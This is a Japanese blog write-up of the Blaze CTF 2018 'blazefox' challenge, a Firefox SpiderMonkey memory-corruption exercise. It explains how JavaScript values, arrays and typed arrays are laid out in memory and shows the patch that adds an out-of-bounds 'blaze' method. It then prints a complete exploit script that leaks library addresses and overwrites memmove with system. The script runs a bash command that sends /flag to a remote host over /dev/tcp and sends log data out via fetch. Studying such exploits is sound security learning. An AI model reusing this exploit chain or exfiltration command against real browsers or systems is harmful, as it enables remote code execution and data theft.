しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

Blaze CTF 2018 - blazefox writeup

*CTFと同時開催だったBlaze CTF 2018の問題を覗いてみたら、Firefoxを題材としたpwnがあったのでチャレンジしてみました。
(Blaze CTFは「DEFCON CTFの運営になったよ!」と大嘘言ったりやたら420という数字が好きだったりと運営が若干ユニーク()ではありますが、pwn/revの問題は面白いのでバイナリ勢にはお勧めしたいCTFです)

解いてみてSpiderMonkeyのpwnの入門にとても良かったので、writeupを置いておきます(`・ω・´)

blazefox (pwn 420)

SpiderMonkeyのオブジェクトのデータ構造

問題に入る前に、まずはSpiderMonkeyのデータ構造まわりについて軽く触れておく。

JS::Value

SpiderMonkeyではJavaScriptの値をJS::Valueという64bit値で扱う。

64bit/little endianな環境だとこんな感じの定義になっている。

// https://hg.mozilla.org/mozilla-central/file/ee6283795f41/js/public/Value.h#l276
union Value {
    uint64_t asBits_;
    double asDouble_;
    struct {
        uint64_t payload47_ : 47;
        JSValueTag tag_ : 17;
    } debugView_;
    struct {  // 特殊な値用
        union {
            int32_t i32_;
            uint32_t u32_;
            JSWhyMagic why_;
        } payload_;
    } s_;
}
// https://hg.mozilla.org/mozilla-central/file/ee6283795f41/js/public/Value.h#l93
JS_ENUM_HEADER(JSValueTag, uint32_t)
{
    JSVAL_TAG_MAX_DOUBLE           = 0x1FFF0,
    JSVAL_TAG_INT32                = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_INT32,
    JSVAL_TAG_UNDEFINED            = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_UNDEFINED,
    JSVAL_TAG_NULL                 = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_NULL,
    JSVAL_TAG_BOOLEAN              = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_BOOLEAN,
    JSVAL_TAG_MAGIC                = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_MAGIC,
    JSVAL_TAG_STRING               = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_STRING,
    JSVAL_TAG_SYMBOL               = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_SYMBOL,
    JSVAL_TAG_PRIVATE_GCTHING      = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_PRIVATE_GCTHING,
    JSVAL_TAG_OBJECT               = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_OBJECT
} JS_ENUM_FOOTER(JSValueTag);

debugView_JSValueTagを見れば分かるように、JS::ValueJavaScriptの値を以下のように表現している。
(32bitな環境だと少し違う形になる。詳しくはPhrackのSpiderMonkey回等を参照)

  • double値はそのまま格納
  • それ以外(符号付き32bit整数値、文字列、Object等)は下位47bitに値やポインタを格納し、上位17bitにデータの型を表すタグを格納
    • タグがついた値はdoubleだとNaNになるため、あるJS::Valueがdouble値なのかtagged valueなのかわからん😇ということは起きない

例えば、

a = [0x13371337, "hogehoge", -1.1885960025192367e+148]

を実行した後にaの実体を探したい場合、0x13371337 | (0x1fff1 << 47)(0x1fff1はJSVAL_TAG_INT32)つまり0xfff8800013371337を探せば良いということになる。

gdb-peda$ find 0xfff8800013371337
Searching for '0xfff8800013371337' in: None ranges
Found 1 results, display max 1 items:
mapped : 0x7fa9f968b0d0 --> 0xfff8800013371337
gdb-peda$ x/10gx 0x7fa9f968b0d0
0x7fa9f968b0d0: 0xfff8800013371337      0xfffb7fa9f969df00
0x7fa9f968b0e0: 0xdeadbeeffeedface      0x0000000000000000
0x7fa9f968b0f0: 0x0000000000000000      0x0000000000000000
0x7fa9f968b100: 0x0000000000000000      0x0000000000000000
0x7fa9f968b110: 0x0000000000000000      0x0000000000000000
gdb-peda$ p (JS::Value)0xfffb7fa9f969df00
$1 = $JS::Value("hogehoge")

ArrayObject

ここからSpiderMonkeyでのexploitに使えそうなオブジェクトのレイアウトを見ていく。

まずは今回の主役であるArrayObjectから。

a = [0x13371337, [0x13371338, 0x13371339, 0x1337133a]]
gdb-peda$ find 0xfff8800013371337
Searching for '0xfff8800013371337' in: None ranges
Found 1 results, display max 1 items:
mapped : 0x7f13f148c0b0 --> 0xfff8800013371337
gdb-peda$ x/10gx 0x7f13f148c0b0
0x7f13f148c0b0: 0xfff8800013371337      0xfffe7f13f148b0a0
0x7f13f148c0c0: 0x0000000000000000      0x0000000000000000
0x7f13f148c0d0: 0x0000000000000000      0x0000000000000000
0x7f13f148c0e0: 0x0000000000000000      0x0000000000000000
0x7f13f148c0f0: 0x0000000000000000      0x0000000000000000
gdb-peda$ p (JS::Value)0xfffe7f13f148b0a0
$26 = $JS::Value((JSObject *) 0x7f13f148b0a0 [object Array])
gdb-peda$ x/10gx 0x7f13f148b0a0
0x7f13f148b0a0: 0x00007f13f147d850      0x00007f13f14a4040
0x7f13f148b0b0: 0x0000000000000000     [0x00007f13f148b0d0]->elements_(配列の要素へのポインタ)
0x7f13f148b0c0:[0x0000000300000000      0x0000000300000006]->js::ObjectElements
0x7f13f148b0d0:[0xfff8800013371338      0xfff8800013371339 ->配列の要素
0x7f13f148b0e0: 0xfff880001337133a]     0x0000000000000000

SpiderMonkeyではJavascriptArrayjs::ArrayObjectクラスで管理しており、オフセット0x18のelements_(実際には継承元のjs::NativeObjectクラスのメンバ)に要素の配列へのポインタを格納している。

このelements_の指すアドレスの手前にある16バイトはjs::ObjectElementsのデータで、配列の長さや容量を保持する。

gdb-peda$ p {js::ObjectElements}0x7f13f148b0c0
$33 = {
  static NumShiftedElementsBits = 0xb,
  static MaxShiftedElements = 0x7ff,
  static NumShiftedElementsShift = 0x15,
  static FlagsMask = 0x1fffff,
  flags = 0x0,
  initializedLength = 0x3,  // 何番目の要素まで初期化が済んでいるか
                            // [0, 0, 0]だと3だが、new Array(3)だと0
  capacity = 0x6,
  length = 0x3,
  static VALUES_PER_HEADER = 0x2
}

js::ObjectElementsのメンバのうち、exploit時に気を遣うべきなのがinitializedLengthで、基本的にはこの値以上のindexを使わなければ面倒に巻き込まれることなく要素の取得・更新ができる。

def get_value(index)
  if index < self.initializedLength
    return self.elements_[index]
  else
    # do something
  end
end

def set_value(index, value)
  if index < self.initializedLength
    self.elements_[index] = value
  else
    # do something
  end
end

TypedArray

new Int32Array(8)で作ったTypedArrayはこんな感じ。

gdb-peda$ x/30gx 0x7ffff7e003a0
0x7ffff7e003a0: 0x00007ffff567d9a0      0x00007ffff56a53d0
0x7ffff7e003b0: 0x0000000000000000      0x0000555556606080
0x7ffff7e003c0: 0xfffa000000000000      0xfff8800000000008
0x7ffff7e003d0: 0xfff8800000000000      0x00007ffff7e003e0
0x7ffff7e003e0: 0x4242424241414141      0x0000000000000000
0x7ffff7e003f0: 0x0000000000000000      0x0000000000000000
  • オフセット0x18: emptyElementsHeaderのアドレス。js shellだとPIE baseが、Firefoxだとlibxul.soのアドレスがここから取れる
  • オフセット0x20: TypedArrayのコンストラクタにArrayBufferを渡した場合はここに入る
  • オフセット0x28: TypedArrayの要素数
  • オフセット0x38: 要素へのポインタ

blazefox

さて、本題のblazefoxを見ていく。

与えられるパッチはこんな感じ。

diff -r ee6283795f41 js/src/builtin/Array.cpp
--- a/js/src/builtin/Array.cpp  Sat Apr 07 00:55:15 2018 +0300
+++ b/js/src/builtin/Array.cpp  Sun Apr 08 00:01:23 2018 +0000
@@ -192,6 +192,20 @@
     return ToLength(cx, value, lengthp);
 }
 
+static MOZ_ALWAYS_INLINE bool
+BlazeSetLengthProperty(JSContext* cx, HandleObject obj, uint64_t length)
+{
+    if (obj->is<ArrayObject>()) {
+        obj->as<ArrayObject>().setLengthInt32(length);
+        obj->as<ArrayObject>().setCapacityInt32(length);
+        obj->as<ArrayObject>().setInitializedLengthInt32(length);
+        return true;
+    }
+    return false;
+}
+
+
+
 /*
  * Determine if the id represents an array index.
  *
@@ -1578,6 +1592,23 @@
     return DenseElementResult::Success;
 }
 
+bool js::array_blaze(JSContext* cx, unsigned argc, Value* vp)
+{
+    CallArgs args = CallArgsFromVp(argc, vp);
+    RootedObject obj(cx, ToObject(cx, args.thisv()));
+    if (!obj)
+        return false;
+
+    if (!BlazeSetLengthProperty(cx, obj, 420))
+        return false;
+
+    //uint64_t l = obj.as<ArrayObject>().setLength(cx, 420);
+
+    args.rval().setObject(*obj);
+    return true;
+}
+
+
 // ES2017 draft rev 1b0184bc17fc09a8ddcf4aeec9b6d9fcac4eafce
 // 22.1.3.21 Array.prototype.reverse ( )
 bool
@@ -3511,6 +3542,8 @@
     JS_FN("unshift",            array_unshift,      1,0),
     JS_FNINFO("splice",         array_splice,       &array_splice_info, 2,0),
 
+    JS_FN("blaze",            array_blaze,      0,0),
+
     /* Pythonic sequence methods. */
     JS_SELF_HOSTED_FN("concat",      "ArrayConcat",      1,0),
     JS_INLINABLE_FN("slice",    array_slice,        2,0, ArraySlice),

// (snip)

Arrayにblazeメソッドが追加されており、このメソッドを呼ぶと配列の長さに関わるメンバが420になる。
つまり、OOB(Out-of-bounds) read/writeが可能になる。

js> a = [114514]
[114514]
js> a.blaze()
[114514, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
js> a.length
420

配列を2つ作った後に1番目をblazeしてみると、2番目のArrayObjectが丸々見えている様子が確認できる。

js> a=[0x13371337, 0x13371338]
[322376503, 322376504]
js> b=[0x13371339, 0x1337133a]
[322376505, 322376506]
js> a.blaze()
[322376503, 322376504, 6.9478441356728e-310, 6.94784414346323e-310, 0, 6.94784413861507e-310, 4.243991582e-314, 4.243991583e-314, 322376505, 322376506, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

SpiderMonkeyのデータ構造を少し調べた上でここまで来れば、あとはやるだけになる。

  1. ArrayObjectの後ろに以下の2つのオブジェクトを配置する
    • libxul.soのアドレスがリークできそうなもの(今回はTypedArrayを使用)
    • arbitrary read/write用の別のArrayObject
  2. 1.のArrayObjectをblazeし、OOB readでlibxul.soのアドレスをリークする
  3. arbitrary read/write用のArrayObjectelements_をlibxul.soのGOTに向けて、libcのアドレスをリークする
  4. 3.と同様にしてlibxul.soのGOT overwrite(memmovesystem
  5. TypedArraycopyWithinメソッドが内部でmemmoveを呼ぶことを利用して任意コマンド実行を行う(参考

exploitはこんな感じ。
(当初TypedArrayArrayBufferを使ってarbitrary read/writeをしようとしていたがちょっとハマってしまい、急いでArrayObject用に書き換えたため若干ぐちゃぐちゃになった。気が向いたら書き直したい)

<html>
<head>
    <script src="/exploit.js"></script>
</head>
</html>
// exploit.js
function stop(){
  while(true);
}

function is_remote(){
  // return false;
  return true;
}

function log(s){
  if(is_remote()){
    fetch("http://REDACTED/?s=" + encodeURIComponent(s.toString())).catch(()=>{})
  }else{
    console.log(s);
  }
}

function int_to_double(x){
  return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
}

function double_to_int(d){
  var a = new Uint32Array(new Float64Array([d]).buffer);
  return [a[1], a[0]];
}

function read_i2(b){
  var a = new Uint32Array(b.buffer);
  return [a[1], a[0]];
}

function int_sub(i2, i){
  if(i2[1] < 1){
    return [i2[0] - 1, i2[1] + (0xffffffff - (i - 1))];
  }else{
    return [i2[0], i2[1] - i];
  }
}

function int_add(i2, i){
  if(i2[1] < 1 || (0xffffffff - (i2[1] - 1)) > i){
    return [i2[0], i2[1] + i];
  }else{
    return [i2[0] + 1, i2[1] - (0xffffffff - (i - 1))];
  }
}

function hex(i2){
  return "0x" + ("00000000" + i2[0].toString(16)).slice(-8) + ("00000000" + i2[1].toString(16)).slice(-8);
}

function pwn(){
  var bytearrays = new Array(100);
  var b = new Uint8Array(32)
  var a = [0x13371337, b];
  var aa = [0x13371338, b];

  var i, offset, index, aa_index;
  var c;
  for(i = 0; i < 100; i++){
    c = new Uint8Array(32);
    c[7] = 0xff;
    c[6] = 0xf8;
    c[5] = 0x80;
    c[4] = 0x00;
    c[3] = 0x41;
    c[2] = 0x41;
    c[1] = 0x41;
    c[0] = i;
    bytearrays[i] = c;
  }

  a.blaze()

  // find Uint8Array
  var i2_buffer_address, i2_emptyElementsHeader;
  for(offset = 0; offset < 420 && (!i2_buffer_address || !aa_index); offset++){
    if(Number.isInteger(a[offset]) && (a[offset] & 0xffffff00) == 0x41414100){
      index = a[offset] & 0xff;
      i2_buffer_address = double_to_int(a[offset - 1]);
      i2_emptyElementsHeader = double_to_int(a[offset - 5]);
    }else if(Number.isInteger(a[offset]) && a[offset] == 0x13371338){
      aa_index = offset;
    }
  }

  if(i2_buffer_address === undefined){
    log("not found");
    return;
  }

  var i2_jsbase = int_sub(i2_emptyElementsHeader, is_remote() ? 0x6f95da0 : 0x10b2080);
  var i2_got_memmove = int_add(i2_jsbase, is_remote() ? 0x818b220 : 0x20e59d8);
  var i2_got_stdout = int_add(i2_jsbase, is_remote() ? 0x8189d10 : 0x20e5930);

  log("buffer address = " + hex(i2_buffer_address));
  log("emptyElementsHeader = " + hex(i2_emptyElementsHeader));
  log("base = " + hex(i2_jsbase));

  /* leak libc base */
  // change buffer pointer
  a[aa_index - 3] = int_to_double(i2_got_stdout);
  var i2_stdout = double_to_int(aa[0]);
  log("stdout="+hex(i2_stdout));
  var i2_libc_base = int_sub(i2_stdout, is_remote() ? 0x3c5708 : 0x3db808);
  log("libc base = " + hex(i2_libc_base));

  var target = new Uint8Array(100);
  var cmd = "bash -c 'cat /flag > /dev/tcp/REDACTED/31337'";
  var j;
  for(j = 0; j < cmd.length; j++){
    target[j] = cmd.charCodeAt(j);
  }

  /* overwrite got */
  var i2_system = int_add(i2_libc_base, is_remote() ? 0x45390 : 0x47dc0)
  a[aa_index - 3] = int_to_double(i2_got_memmove)
  aa.blaze();
  aa[0] = int_to_double(i2_system);

  /* invoke system */
  target.copyWithin(0, 1);
}

pwn();
log("done");

// stop();